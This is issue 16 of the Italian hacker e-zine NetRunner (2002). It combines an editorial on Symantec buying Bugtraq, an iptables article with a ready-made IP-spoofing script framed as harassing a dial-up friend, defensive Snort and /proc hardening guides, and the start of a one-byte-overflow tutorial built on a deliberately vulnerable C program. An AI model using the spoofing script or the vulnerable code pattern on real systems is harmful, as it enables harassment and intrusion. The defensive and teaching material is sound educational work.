


---

from spp to the net
numero sedici

Venghino siori venghino, piu' gente entra, piu' bestie si vedono!

Ossia la vera storia del come
dando da mangiare agli animali
si passano dei guai

Editoriale
delirato da mayhem <mayhem at spippolatori dot org>

Questo editoriale non puo' che iniziare con un saluto. Un saluto ad un caro amico che, purtroppo, non avremo piu' il piacere di incontrare, ne' in rete, ne' in quella che gli umani chiamano vita reale. Alcuni diranno che di lui resta solo un bnc, su ircnet, ma si sbagliano. Di lui restano un sacco di ricordi e tantissimo affetto nel cuore di tutti noi. Non potremo piu' passare nottate a parlare di progetti piu' o meno strampalati con maddog, o semplicemente a fare gli scemi. Per questo vorrei iniziare questo editoriale dicendo “Buon viaggio maddog, ovunque tu sia, e, quando trovi la password, manda una mail”.

A fine giugno a Bologna si e' svolto l'hackit02, l'hacker meeting del 2002, una manifestazione a cui nessuno di noi puo' piu' rinunciare, un appuntamento che ogni anno raccoglie un sacco di persone, i loro computer, le loro idee, la loro voglia di fare qualcosa di nuovo. Mi devo scusare, poiche' avevo promesso che questo numero di netrunner sarebbe uscito in anteprima all'hackit, ma cosi' non e' stato. Il ritardo con cui sono stati consegnati alcuni articoli che volevo assolutamente includere, le innumerevoli distrazioni che Bologna ci ha offerto, hanno impedito l'uscita del numero. Ma lo potete leggere ora, in ritardo come sempre. Ma questo ritardo ci permette di poter parlare di un fatto che ha colpito da vicino, troppo, la comunita' mondiale che si occupa di sicurezza.

“Symantech ha acquistato Bugtraq”
(http://www.securityfocus.com/corporate/press/pressrel/50.shtml).

Con questa notizia ci siamo svegliati il 17 luglio, leggendo questa mail di Aleph1: http://online.securityfocus.com/archive/1/282903/2002-07-15/2002-07-21/1. Subito si sono manifestati i dubbi di tutti, su irc, su usenet, nei piu' svariati forum e mailing-list, bugtraq in primis. In un momento, infatti, cosi' critico della discussione in merito a full-disclosure o closed-disclosure, con tutte le sfumature intermedie che ci possono essere, in merito ai bug inerenti la sicurezza dei programmi e dei sistemi operativi. Un dibattito che dura da tempo, senza esclusione di colpi, che noi riteniamo fondamentale per la nostra liberta' di utenti. E' giusto che una azienda non riveli i problemi che affliggono il suo software agli utenti, ma si limiti a correggerli nel tempo? Si dicono le imprese commerciali, non parlarne significa non mettere i cracker nella posizione di poter bucare una macchina dopo l'altra. No dicono i sostenitori dell'opensource, i “cattivi” hanno sempre avuto queste informazioni, e sempre le avranno, saranno gli amministratori di sistema a subire il danno maggiore da una politica di closed-disclosure da parte dei produttori. Bugtraq, in modo responsabile, ha sempre appoggiato la politica di full-disclosure: ora, dalla mail sopracitata sembra non sia piu' cosi'. Un vero peccato, viene meno uno dei punti di riferimento per tutti noi. Cosa ci dobbiamo aspettare ora? Spero che Aleph1 non vanifichi il lavoro di anni, come spero di non dovermi trovare a discutere dello stesso problema per altri punti di riferimento che il mondo della security ha. Non vorrei mai leggere una lettera di kobaiashi che annuncia l'acquisto di sikurezza.org da parte di una azienda commerciale e danarosa, come non vorrei avere mai letto quella di Aleph1.

un mayhem che sono di nuovo le sei del mattino
--
mayhem@spippolatori.org - http://www.spippolatori.com
Hacklab Verona: http://www.m2net.it.eu.org
Cisco FAQ: http://mayhem.oltrelinux.com/icrc

Disclaimer

Tutto il materiale raccolto su questa rivista si intende a puro scopo educativo e/o dimostrativo. Ogni uso diverso da quello didattico e' sconsigliato e potrebbe risultare dannoso se applicato a macchine di produzione, illegale se applicato a macchine non di vostra proprieta'. Nessuno potra' essere ritenuto responsabile di alcun danno, all'infuori del lettore stesso. Il materiale presente su questa rivista e' liberamente riproducibile, distribuibile, modificabile, a patto che si citino autore e provenienza, e che non venga cambiato il tipo di licenza. La licenza adottata e' la GPL nella sua ultima versione.

Pollice

```
#include <brain.h>
#include <DarK-Elf.h>
```

Il cielo su Torino e' come il catodico del televisore sintonizzato su un canale morto, dal P133 i Korn mi stanno regalando estasiate descrizioni di sterminati campi con corpi morti sparsi un po ovunque, Focus qui accanto a me dice che il mio QIsessuale e' superiore alla norma, e allora perche'cazzo sull'uccello ho un portatile invece di una bella mammifera?
Sgranocchio una crostatina all'albicocca, distratto leggo quello che c'e' dentro:

```
Farina
Surrogato di albicocca
destrosio
Eccipienti: E523, EXXX, EYYY, EZZZ, E... e vaffanculo!
```

I polimeri dell'incarto probabilmente sono piu' sani e nutrienti!

Poi il ricordo mi colpisce come un flash allucinante, un pitone mi si agita nell'intestino, perenne ricordo della gara di primi in quel ristorantino bastardo, il risotto panna e fragola, i ravioli alle mele e il Fen0x che mi offre la cena per estorcermi un'articolo per NetRunner, be' ogni promessa e' debito.

DarK-Elf

Per la serie DEZZAMORE FINDUS: IPTABLES: amore mio.
DarK-Elf < dark-elf at webbissimo dot it >

```
/etc/rc.d/rc.M
```

Tutti quanti felici e contenti. Fate login e un bel "Kernel 2.4.11112345678" vi risponde servizievole potente e strafigo. E' qui, da qualche parte nel marasma di linee di codice, e' IPtables un manipolatore di dati e informazioni da far paura all'accoppiata Berlusconi-EmilioFido.
Mai dato un'occhiata alla manpage? Bella, anzi stupenda, ma lunga, tanto lunga. Tutti voi belli e occhialuti ragazzini dietro un paio di monitor ci avete mai dato un'occhio seriamente? o un

```
iptables -t nat -I POSTROUTING -s 10.0.0.0/24 -d 0/0 -j MASQUERADE
```

vi basta per far andare avanti la vostra piccola lan? Vero, c'avete ragione, IPtables e' un firewall, i firewall si aggirano, si penetrano cazzo mi frega di proteggermi? tanto ho inetd chiuso! Ecco, questo articolo vi fara' qualche esempio di uso... diciamo poco ortodosso di questo grande manipolatore di pacchetti.

```
/usr/bin/man iptables
```

Vediamo come e' strutturato: dunque ci sono le varie tavole prima di tutto. Direi che la tavola di nat e' una delle piu' interessanti, infatti ci permette di lavorare bene su tutti i parametri dei pacchetti che sputiamo fuori e riceviamo dall'esterno.

Mi pare ovvio che bisogna prima di tutto decidere quali pacchetti vogliamo andare a maneggiare. Un'interessante applicazione di iptables e del tavolone di natting e' la possibilita' di cacciar fuori pacchetti con un indirizzo sorgente non proprio nostro... vi ricorda niente questo? Esatto!! tutti quei Spoof.c FrizziSpoffiecazzi.c ora vanno in pensione, se voglio fare dello spoofing cieco uso una regoletta di iptables e basta!

Quindi, vogliamo lavorare sui pacchetti che escono verso la grande rete, diciamo a iptables di appendere una nuova regola con l'opzione -A

```
iptables -t nat -A POSTROUTING
```

il POSTROUTING e un built-in della tavola di natting, lavora sui pacchetti che stanno per uscire dall'interfaccia pubblica appunto DOPO averli routati, quindi, prima prendono la direzione giusta e solo un attimo prima di spararli nel wild li andiamo a manipolare. Perfetto e ora?

Ora identifichiamo il pacchetto su cui vogliamo lavorare fra tanti.
Diciamo per esempio che ci interessa mandare un po di icmp anonimi approfittando della nostra bella adsl nuova di pacca a un nostro amico rompicazzo col 33600, a parte il fatto che siete delle merde, per prima cosa diciamo a iptables di andar a lavorare col protocollo IP direttamente al cui livello troviamo i nostri ICMP preferiti.

```
iptables -t nat -A POSTROUTING -p ip
```

Ma siccome lo so che voi siete dei gran figaccioni, che vi siete creati dei bei tunnel per andare a dare un'occhiata nelle reti interne grosse e gustose tipo fastweb, puo' essere anche molto interessante specificare da che interfaccia devo cacciar fuori sto cazzo di pacchetto, e anche qui c'e' l'opzione giusta per voi porcellini informatici

```
iptables -t nat -A POSTROUTING -p ip -o eth0
```

Ora che sappiamo quello che serve, cerchiamo di capire in tutto sto marasma quali pacchetti in particolare cacciar via, diciamo che la BoX da cui volete generare il flusso ha indirizzo ip 10.0.0.2 e il vostro "amico" ha ip 200.56.3.1 quindi

```
iptables -t nat -A POSTROUTING -p ip -o eth0 -s 10.0.0.2 -d 200.56.3.1
```

Ok a questo punto iptables nel casino trovera' sicuramente i pacchetti che voi mandate a quella macchina, ma ora dobbiamo anche dirgli che cazzo farsene. Abbiamo detto che vogliamo spoofare e quindi cambiare l'indirizzo ip sorgente dei pacchetti. Ci viene in aiuto il target SNAT che permette di Source-nattare i pacchetti, in pratica spoofarli.

```
iptables -t nat -A POSTROUTING -p ip -o eth0 -s 10.0.0.2 -d 200.56.3.1 -j SNAT
```

Perfetto, ora magari non sarebbe male come idea dirgli anche con cosa sostituire l'indirizzo sorgente... e quindi

```
iptables -t nat -A POSTROUTING -p ip -o eth0 -s 10.0.0.2 -d 200.56.3.1 -j SNAT --
to-source 1.2.3.4
```

Ora se da 10.0.0.2 mandiamo un ping a 200.56.3.1 vediamo che 200.56.3.1 riceve effettivamente pacchetti da 1.2.3.4. Ovvio che la tecnica non funziona se ci sono router con l'antispoofing attivato =)

Siccome lo so che siete pigri vi accludo un piccolo scriptino per fare la cosa con comodita'.

```
#!/bin/sh
echo
echo "Spoof any connection using iptables by DarK-Elf [10x a lot naif]"
echo
test "$1" = "clean" && iptables -F -t nat && echo "Ok I'm a good boy ;P" && exit

test "$5" = "" && echo "USAGE: " $0 " source_ip dest_ip spoofed_ip Interface
Protocol [ip udp tcp]" && echo
&& echo "or " $0 " clean to stop spoofing" && exit


iptables  -F -t nat
iptables -t nat -X
iptables -t nat -A POSTROUTING -s $1 -d $2 -o $4 -p $5 -j SNAT --to-source $3
echo "Have a nice spoofing ;P"
```

Good Byte DarK-Elf

P.s questo articolo e' sotto Dinnerware quindi preparate ristorante e portafoglio quando mi vedete.

Snort su Windows 98/Me/Nt4/2000 con MySQL e Acid

Newlife^ <newlife.dsc at libero dot it >

Snort è un servizio disponibile solo per win (già disponibile per nt4 e 2000), installare MySql come database e acid per vedere i vostri file alert =) quando snort è stato creato.

Io snort l'ho testato su un IIS5, win2k, MySql 1.0, snort 1.7, php 4.0.4pl1, WinPcap.exe 2.1, Adodb 0.93 e acid 0.9.6b6. Se non avete questi file, scaricateveli!!!!! =))
Vi do i link da dove downloadare:

MySQL Download Page:
http://www.mysql.com/downloads/mysql-3.23.html

WinPcap
http://netgroup-serv.polito.it/winpcap/install/default.htm
http://www.silicondefense.com/techsupport/download.htm

Snort Win32 version
http://www.snort.org/snort-files.htm

Snort Rules
http://www.snort.org/snort-files.htm#Rules

PHP
http://www.php.net/downloads.php

ADODB
http://php.weblogs.com/adodb

Acid
http://www.cert.org/kb/acid/

Installare Mysql database

Installare mysql nel c:\ se siete incerti sul tipo di indicazione scegliete "typical".

Nota bene: se tu stai usando win2k server, al comando prompt prior to installation, scrivi: "change user /install" o installa mysql dal pannello aggiungi/rimuovi. Quando hai finito di installarlo, vai nella cartella c:\MySQL e leggiti il readme per poter completare l'installazione, se avete installato correttamente il mysql database nella system tray vedrete un traffico di luci verdi.

Creare un win32 MySQL database
- Cliccate col tasto destro sull'icona nel system tray di MySQL e cliccate su "Show Me", scegliete il database tab e cliccate col tasto destro sul vostro server name, selezionate "Create Database", a scrivi nel tipo di database ie: "Snort".

- Ora dovete creare un utente nel prompt dei comandi. Arriva fino al c:\MySQL\Bin e scrivi Mysql. Dovrebbe comparirvi un promt del genere:
mysql>
i tasti azione che dovete premere li metto
ora scrivete tra le due parentesi quadre "[ ]"
mysql> \u mysql [invio]
ora scrivete
mysql> grant INSERT,SELECT,CREATE,DELETE on snort.* to snort@localhost [invio]
per confermare l'aggiunta di un utente, al "mysql>" dovete scrivere
mysql> \u mysql [invio]
mysql> show tables [invio]
mysql> select * from user [invio]

Installare Snort Mysql versione 1.7
- Creaiamo 3 cartelle:
c:\Snort\
c:\Snort\Bin\
c:\Snort\Logs\
- Installiamo snort nel c:\Snort\Bin
- Rimuoviamo tutte le configurazioni e lo snort.conf dal c:\Snort\Bin. Installiamo l'ultimo completo set delle configurazioni dello snort e snort.conf in c:\Snort\Bin
- Adesso bisogna modificare lo snort.conf per settare il parametro HOME_NET secondo le proprie esigenze.
Nota bene: dovete togliere l'asterisco prima del "output message: log, mysql, user=snort dbname=snort host=localhost" per attivare mysql.
- Copia il file chiamato "create_mysql" dalla cartella "contrib" di snort.
Nota bene: sfortunatamente non c'è la cartella "contrib" nella versione 1.7 di snort per win32. Dovete scaricare tutto il codice di snort da http://Snort.org, estrarre il "create_mysql" dalla cartella "contrib" e metterlo in c:\MySQL\Bin.
- Arriva fino a c:\MySQL\Bin dal prompt e digita:
c:\MySQL\Bin> MySQL -u snort snort < c:\MySQL\Bin\create_mysql

Installare WinPcap
- Installate l'ultima versione di winpcap.exe (e' importante avere l'ultima)
Nota bene: a questo punto è necessario avere mysql funzionante e le luci di traffico nella system tray.

Testing snort
Arrivate fino a c:\SnortBin
c:\Snort\Bin> Snort -c c:\Snort\Bin\Snort.conf -l c:\Snort\Logs

Configurare snort per essere un servizio su NT4 e 2K
- Dove installare il windows resource kit per la vostra versione di win.
- Arrivate fino alla cartella di root del vostro resource kit.
- adesso dovete installare il servizio SRVANY, al prompt scrivete:
c:\> INSTSRV SrvAny <PATH TO RESKIT>\srvany.exe
c:\> ISTSRV.exe snort <PATH TO RESKIT>\SRVANY.exe
Ora fate una copia del vostro registro di windows e iniziamo a taroccarlo =)):
cercate la key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Snort e sceglietela.
Fate nuova key e scrivete: Parameters
- Selezionate la key appena fatta e con il bottone destro cliccate, selezionate la key, selezionate Strign Value e type: Application

- Cliccate con il bottone destro la nuova stringa d'applicazione, selezionate modify, e scrivete:
c:\Snort\Bin\Snort.exe
- Selezionate la key Parameters e con il bottone destro cliccate, selezionate la key, selezionate Strign Value e type: AppParamenters
- Cliccate di nuovo con il bottone destro la nuova stringa AppParameters, selezionate modify, e scrivete: -c c:\Snort\Bin\Snort.conf -l c:\Snort\Logs

Ora dal menù start andate su Programmi / Administrative Tools e aprite Service applet. Seleziona snort dalla finestra di servizio, clic col tasto destro su snort, scegliete proprietà e sotto startup mettere automatic. Infine mettete che sotto Service Status è in RUN.

Installing the Acid Plug-in
Dovete installare il web server di win98/me/nt/2k e deve essere funzionante prima di continuare. Muovete la cartella di acid dentro la cartella root di default del vostro sito. Andate nella cartella di acid e leggetevi il readme, installatelo seguendo le istruzioni. Poi dovete installare il PHP 4.0.4pl1 dentro c:\Snort. Configurate PHP in modo che vada con IIS4.0+
Installate ADODB 0.93+ nel c:\Snort\ADODB. Editate ADODB.INC.PHP, ma solo quanto segue:
$ADODB_DIR = 'c:\Snort\adodb'
Configurate il conf.php di acid che si trova nella cartella di acid, dovete editare le seguenti variabili:
$DBlib_path = "c:\Snort\ADODB"
$alert_dbname = "snort"
$alert_host = "localhost"
$aler_port = ""
$alert_user = "snort"
$alert_password = ""
Snort ha appena creato gli alert, ora potete testarli in questo modo.
aprite il vostro browser:
http://vostroip/Acid/index.html

CRIK, CROK... E IL FILESYSTEM /PROC!!!

The Jackal < -jackal- at libero dot it >

Perdonate la banalità del titolo, che storpia un modo di dire dialettale delle mie parti (" Crik, Crok e a rot' d' scort' "... in italiano si puo' tradurre con Crik, Crok e la ruota di scorta"), ma mi sembrava piuttosto efficace, non solo ad attrarre la vostra attenzione, ma anche a spiegare il concetto che e' alla base di questo articolo.

Infatti, nel pianificare la sicurezza di uno o piu' sistemi, spesso si prendono in considerazione soltanto i piu' evidenti e noti mezzi di rafforzamento, normalmente un firewall e un IDS (..."Crik e Crok" appunto...), tralasciando tante piccole "ruote di scorta" che, in alcuni casi, potrebbero fare la differenza. Tra le tante, e' il caso sicuramente di ricordare: l'intelligente partizionamento del disco, un'installazione mirata alle esigenze, la scelta di password sicure, l'aggiornamento dei pacchetti... ed anche l'oggetto di questo articolo, ovvero il filesystem /proc.

Spesso di sente parlare di questo particolarissimo filesystem, la cui caratteristica principale e' di far si' che l'utente possa ottenere informazioni sul sistema o, come vedremo, cambiare specifici parametri senza ricompilare il kernel, come di un filesystem "virtuale"... dato che i file al suo interno vengono creati soltanto nel momento dell'accesso, non occupando cosi', fino a quel momento, spazio sull'hard disk.

Volendo parlare di sicurezza, tralasceremo quella parte del filesystem destinata alla raccolta di informazioni sul sistema, concentrandoci, invece, sulla parte modificabile dall'utente e in particolar modo sulla directory /proc/sys/net/ipv4.

Utilizzeremo, inoltre, "0" e "1" come variabili booleane (rispettivamente "FALSO" e "VERO") per cambiare dinamicamente, tra i possibili parametri del kernel, quelli che maggiormente ci interessano. Tutto questo sara' possibile, pero', soltanto se CONFIG_SYSCTL sara' stato definito durante la compilazione del vostro kernel (cosa che comunque le maggiori distribuzioni fanno di default).

Cominciamo allora con due accortezze abbastanza comuni e di facile comprensione. Disabilitiamo, infatti, le risposte ai "ping"...

```
/bin/echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all
```

e alle richieste generate dagli indirizzi di broadcast/multicast...

```
/bin/echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
```

Cosi' impostati, questi due parametri ci permetteranno sia di risultare "invisibili" al metodo piu' banale, ma proprio per questo forse il piu' utilizzato, per verificare se un host e' attivo (l'ICMP PING appunto) e sia di evitare, ignorando le richieste provenienti dagli indirizzi di broadcast, che il nostro host possa essere utilizzato come amplificatore di un attacco Smurf.

Fatto questo, evitiamo ora che il nostro host accetti pacchetti "source routed". Il source routing e' raramente utilizzato per scopi legittimi, e spesso un "attacker" utilizza questa tecnica per generare del traffico che sembri provenire dall'interno della vostra rete. L'IP source routing, infatti, serve a specificare l'esatto percorso che un pacchetto dovra' fare prima di giungere a destinazione. Chiaramente, permettere a chiunque di pilotare il traffico attraverso un'interfaccia classificata dall'host come "sicura", potrebbe, in alcuni casi, comprometterne la sicurezza. Disabilitamolo, quindi, con il comando:

```
/bin/echo "0" > /proc/sys/net/ipv4/conf/all/accept_source_route
```

Particolare attenzione deve, poi, essere prestata anche ai messaggi ICMP reindirizzati. Se non si ha a che fare con la configurazione di un router, infatti, sarebbe meglio disabilitarli, poiche' possono essere utilizzati per alterare le tabelle di instradamento. Evitiamo quindi che vengano accettati con il comando:

```
/bin/echo "0" > /proc/sys/net/ipv4/conf/all/accept_redirects
```

Dato che ci siamo, abilitamo anche la protezione dai messaggi di errore generati dai routers che violano la RFC 1122, eviteremo cosi' che il nostro kernel li registri e riempia i file di log di inutile spazzatura:

```
/bin/echo "1" > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
```

Bene, fatto questo, passiamo adesso ad analizzare il cosiddetto "reverse path filtering". Qualora questo parametro venga attivato, il nostro kernel provvedera' automaticamente a rigettare tutti i pacchetti in entrata che provengano da un'interfaccia di rete diversa da quella prevista dalla tabella di instradamento per quell'indirizzo. In pratica, aiuta a prevenire gli attacchi interni (e non anche quelli provenienti dall'esterno...) basati sulla falsificazione dell'indirizzo IP, ovvero, in una parola, dall'IP Spoofing. Per abilitarlo usiamo il comando:

```
for interface in /proc/sys/net/ipv4/conf/*/rp_filter; do
   /bin/echo "1" > ${interface}
done
```

Inoltre, dato che il nostro compito principale e' quello di essere paranoici, per essere ancora piu' sicuri e scampare da possbili bug presenti all'interno dello stack TCP/IP, e' sempre possibile "passare" qualche linea in piu' ad Iptables e scartare tutti i pacchetti diretti a noi e provenienti da indirizzi "anomali", come ad esempio potrebbe essere il nostro indirizzo Ip, gli indirizzi di multicast, di loopback, di broadcast e di quant'altro, considerata la vostra rete, possa tornare utile. La sintassi di Iptables, valida per tutti questi casi, e' quasi banale:

```
iptables -A INPUT -i INTERFACCIA -s 127.0.0.0/8 -j DROP

                 ^
                 |

           Qui dovrete sostituire
         con  la vostra interfaccia
             (eth0,ppp0...)
```

Questo e', ovviamente, un esempio per gli indirizzi di loopback... a voi poi il compito di sostituire quelli dell'esempio con gli altri indirizzi appropriati.
Parlando di "reverse path filtering", non si puo' ignorare un altro interessantissimo aspetto delle capacita' di networking di Linux, ovvero l'IP Forwarding. Infatti, proprio questa sua propensione verso il mondo delle Reti, porta la maggior parte delle distribuzioni a rendere attivo di default questo parametro che permette di inoltrare il traffico tra interfacce diverse. La maggior parte degli utenti, pero', non ha bisogno di questa caratteristica che puo' essere tranquillamente disabilitata con il comando:

```
/bin/echo "0" > /proc/sys/net/ipv4/ip_forward
```

Benissimo. Registrare, inoltre, i tipi di pacchetti analizzati fin'ora potrebbe tornare utile...

```
/bin/echo "1" > /proc/sys/net/ipv4/conf/all/log_martians
```

dira' al nostro kernel di fare quest'ulteriore sforzo per tutti i pacchetti contraffatti, i "source routed" e quelli reindirizzati.
Come ultimo parametro da prendere in considerazione, ho preferito lasciare i cosiddetti "SYN Cookies", sui quali spenderemo due parole in piu' e che proteggono dagli attacchi basati sulla inondazione di pacchetti SYN... sicuramente piu' noti con il nome di "SYN Flooding".
Questo conosciutissimo attacco, come sappiamo, mira a rendere inoperativo il sistema bersaglio, inondando, appunto, la sua memoria di sistema di connessioni semi aperte.
Quando, infatti, un qualsiasi client ha la necessita' di stabilire una qualsiasi connessione TCP con un altro sistema (magari un server), scambia con quest'ultimo alcuni pacchetti di dati, dando il via alla cosiddetta "threeway handshake". La possiamo sintetizzare con un banale disegnino come questo:

```
Client                Server
------                ------
 SYN------------------->

<----------------------SYN-ACK

 ACK------------------->
```

Soltanto successivamente a questo scambio, la connessione sara' realmente stabilita e i dati cominceranno a circolare liberamente in entrambe le direzioni.
La debolezza e' insita nel metodo, e sorge poiche' il server si preoccupa di tenere traccia di tutte le connessioni potenziali e di allocarne le risorse gia' nel momento in cui riceve un pacchetto SYN (per essere piu' precisi, un pacchetto TCP con il flag SYN attivo) destinato ad una porta in ascolto. Interrompere quindi l'handshake, evitando di rimandare indietro l'ACK che lo conclude, comporta comunque che il server, per un periodo di tempo, rimanga in "attesa" e conservi quelle risorse...
Un carico eccessivo di pacchetti SYN, spediti da un indirizzo sorgente che non sara' in grado di resettare il SYN/ACK del server, come e' facile immaginare, saturera' le sue risorse, non permettendo a nessuno, nella peggiore delle ipotesi, di connettersi alla "vittima".
La risposta piu' efficace a questo tipo di attacco si basa, come spesso accade, sulla crittografia.
Parliamo dei SYN Cookies. Abilitandoli con il comando:

```
/bin/echo "1" > /proc/sys/net/ipv4/tcp_syncookies
```

il nostro kernel, nel momento in cui ricevera' un pacchetto SYN, pur continuando a rispondere con un SYN-ACK, calcolera' l'intestazione ACK da una sequenza di numeri estratti da determinati campi dell'intestazione (indirizzo e porta di provenienza, indirizzo e porta di destinazione...
soltanto per citarne alcuni), crittografandoli attraverso un generatore di hash unidirezionali. Le risorse del sistema verranno allocate soltanto se un pacchetto ACK tornera' indietro dal client e soltanto se, l'intestazione di quel pacchetto, conterra' dei dati che combaceranno con quelli calcolati dal server al momento della creazione del pacchetto SYN-ACK. Soltanto in questo caso il server aprira' la porta di destinazione, ponendola direttamente nello stato TCP_ESTABLISHED e non, come avviene normalmente, nello stato TCP_SYN_RECV, ovvero quello che indica la connessione semi aperta.

La connessione, allora, verra' aggiunta alla coda "backlog" (quella che si preoccupa di tenere traccia delle connessioni attive), le risorse saranno allocate e la comunicazione vera e proprio potra' avere inizio.
In caso contrario, il pacchetto verra' immediatamente scartato e l'handshake non sara' completato. In questo modo, il server non dovra' attendere lo scadere del tempo previsto per il "timeout" delle connessioni e l'attacco verra' stroncato sul nascere.
Ma non e' ancora tutto...
Quando ci troviamo, infatti, alle prese con un server o, piu' in generale, con un sistema soggetto a notevoli carichi di traffico, l'utilizzo dei SYN Cookies potrebbe portare altri problemi non meno rilevanti. Non e' raro infatti che, l'escamotage visto fin'ora, impedisca in questi casi le connessioni in entrata effettivamente valide.
Per arginare allora il problema dei SYN flooding, possiamo ricorrere, ancora una volta, al nostro IPtables. Utilizzeremo, in questo caso, il modulo "limit" di Netfilter, che, pur essendo principalmente usato per limitare il logging del kernel (mai sentito parlare di Jolt2...?), puo' tornarci utile anche adesso...

```
iptables -A FORWARD -p tcp --syn -m limit 1/s -j ACCEPT
```

Questa regola ci permettera' di limitare l'analisi ad un pacchetto SYN al secondo con una raffica (--limit-burst) di default... ovvero di 5.
Mi spiego meglio. Specificando un limite di 1 pacchetto al secondo con burst di 5, la prima volta che la regola sara' soddisfatta, saranno confrontati i primi 5 pacchetti... superato questo limite, ne sara' preso in considerazione soltanto uno ogni secondo. Inoltre per ogni secondo in cui non si riceveranno pacchetti, ne sarà recuperato uno dal burst.
Come facilmente si intuisce, questa regola sara' un'ottima "diga" pronta ad arginare un eventuale attacco basato sul SYN Flooding. Vi rimando comunque, per un doveroso approfondimento, al sito ufficiale: http://netfilter.samba.org/
Qui c'e' tutto quello che vi serve... e anche di piu'!!
Bene, l'articolo ormai e' alla fine. Mi rimane soltanto da dirvi che,le modifiche al file system /proc viste in questo articolo, possono essere inserite sia all'interno del vostro script per Iptables, ovvero, se non ne avete predisposto uno, possono essere aggiunte all'interno del file sysctl.conf, presente nella directory /etc. Inoltre, oltre ai links gia' inseriti nell'articolo, per ulteriori informazioni ed approfondimenti su quanto qui accennato, mi sento di consigliarvi la "Bibbia" del filesystem /proc, ovvero l'unico documento veramente completo che ho trovato in Rete e da cui ho preso alcuni spunti. E' scritto da Bowden, Bauer e Nerin e lo trovate qui (dato che la pagina ufficiale non si apre):
http://hr.uoregon.edu/davidrl/Documentation/filesystems/proc.txt
Alla prossima gente...

The Jackal < -jackal-@libero.it >

One Byte Overlflow

-=Quequero=- <quequero at spippolatori dot com>

DD/MM/YYYY
21/07/2002

- Dottore dottore, ce l'ho piccolo che posso fare?
- Non e' la dimensione che conta, ma il modo un cui lo si utilizza!

1. Di cosa stiamo parlando?

C'e' qualcuno, qui tra noi, che ha qualcosa di piccolo....Molto piccolo, estremamente piccolo, tanto piccolo che piu' piccolo non si puo', dopo di lui c'e' il niente, lui e' l'entita' atomica dell'hacking, indivisibile (forse), non solubile in acqua e allergico al pane fatto in casa...Quella cosa potresti essere: TU!!!

Si tu, piccolo e inutile buffer...Quanti di voi si sono chiesti perche' in Pascal si iniziava a contare da 1 e col C si e' iniziato a contare da 0???

Ma e' ovvio...Per rendere piu' divertente il mondo della security, altrimenti non ci rimaneva niente su cui diventar ciechi a forza di leggere piccoli sorgenti di piccoli programmi con piccoli buffer rotti.

Mi pare ovvio che per andare avanti a leggere questo articolo serva quantomeno una conoscenza dei normali Buffer Overflow che per motivi di spazio evitero' accuratamente di riassumere all'interno di questo articolo :)

In sostanza cos'e' un:

1. One Byte Overflow
2. Null Poison Byte Overflow
3. Off By One Overflow
4. Frame Pointer Overwrite
5. Piccoli Peni Crescono Overflow

Queste son le 5 nomenclature standard conosciute per indicare lo stesso tipo di vulnerabilita', ovvero: Overflow di un solo byte...

Come tutti ben saprete, per eseguire un Buffer Overflow, abbiamo bisogno, guardacaso, di un buffer, poi di un programma scritto male e quindi dello spazio necessario per sovrascrivere il ret e inserire lo shellcode. Ma se l'overflow e' di un solo byte, come cavolo ce le infiliamo tutte queste info dentro?

Qualcuno diceva che era impossibile, altri che non era applicabile nella vita reale, qualcun altro (il grande Klog): che invece si poteva fare ma che era sostanzialmente una vulnerabilita' teorica senza probabili riscontri...

Ma la natura ci ha insegnato che dentro un buco piccolo come un limone puo' entrare (ed uscire) una cosa grande come un cocomero, percio' i piu' grandi della scena si misero al lavoro per dimostrare al mondo che i "One Byte Overflow" erano utilizzabili senza (quasi) alcun problema....E se lo hanno fatto loro perche' non possiamo farlo noi?

2. Come si presenta un One Byte Overflow?

Prendiamo come esempio questo semplice programma:

```
void overflow(char *string);

int main(int argv, char *argc[]){
        overflow(argc[1]);
}

void overflow(char *string){
char buffer[112];
int i;
        for(i=0; i<=112; i++)
                buffer[i] = string[i];

}
```

Piu' piccolo di cosi' proprio non potevo...Bene, analizziamolo a fondo :P

```
            char buffer[112];                // Il buffer da Overfloware
            int i;                      // Contatore per il for

            for(i=0; i<=112; i++)              // Il for che riempie il buffer
                    buffer[i] = string[i];      // Copiamo in buffer gli argomenti
```

passati al prog...

```
Compiliamolo ed eseguiamolo:
quequero@panther:~$ gcc -v | grep version
gcc version 3.1
quequero@panther:~$ gcc one.c -o one -mpreferred-stack-boundary=2
quequero@panther:~$ ./one Io_Sono_Quequola_E_Tu?
Segmentation Fault
```

Perfetto...Si lo so che segfaulta appunto e' buon segno :)
Spendiamo un paio di parole sulla compilazione...Perche' ho usato l'opzione -mpreferred-stack-boundary=2?
Perche' cosi il codice viene allineato a 4 byte, ma perche' ho usato 112 come grandezza del buffer?
Perche 112+4 fa 116 che e' gia allineato a 4 byte altrimenti il compilatore avrebbe allocato piu' spazio ed eseguire l'overflow sarebbe stato impossibile...Ecco tutto :)
Cosa succede di insolito? Beh in C/C++ fare un:

```
   char buffer[112];
```

significa allocare staticamente 112 byte che:

1. NON vanno da 0 a 112
2. NE da 1 a 112
3. MA da 0 a 111

Quindi scrivere in buffer[112] vuol dire andare fuori del buffer, eggia' perche' l'ultimo byte a nostra disposizione dovrebbe essere buffer[111] che a dirla tutta dovrebbe terminare il buffer e quindi essere settato a 0. Ma il `for' contenuto all'interno del programma ci mostra che il buffer viene utilizzato fino a buffer[112]:

```
            for(i=0; i<=112; i++)
                    buffer[i] = string[i];     // Riempi da buffer[0] a buffer[112]
```

Bello vero? Abbiamo un byte tutto nostro con cui giocare :) e cosa ci facciamo???

3. Per imparare l'hacking serve il reversing?

Secondo me e' consigliato anche perche' conoscere lo stack e l'assembly e' importantissimo sia per fare uno shellcode che per capire come funzionano buona parte degli exploit sulle relative vulnerabilita'.
Ed infatti chi ha dimistichezza con l'asm adesso si trovera' molto piu' a proprio agio, infatti: it's time to disassemble :)
Bene, per vostra fortuna NON usero' GDB per due validi motivi:

1. lo reputo un ottimo debugger ma ostico come la tundra siberiana
2. DETESTO sotto tutti i punti di vista la sintassi AT&T

Ora le vostre opinioni e idee saranno pure diverse dalle mie ma l'art lo scrivo io e decido io come disassemblare :) e poi: de gustibus non est disputandum e questo e' sacro :P...bene, usero' IDA che e' di gran lunga il miglior disassembler esistente su questa terra e sopratutto ci presenta il listato in sintassi INTEL che e' assolutamente snella e priva di qualunque cosa che possa confondervi, se non la conoscete tenete presente che cambia sostanzialmente una cosa:

```
AT&T:  mov a, b = mov A dentro B
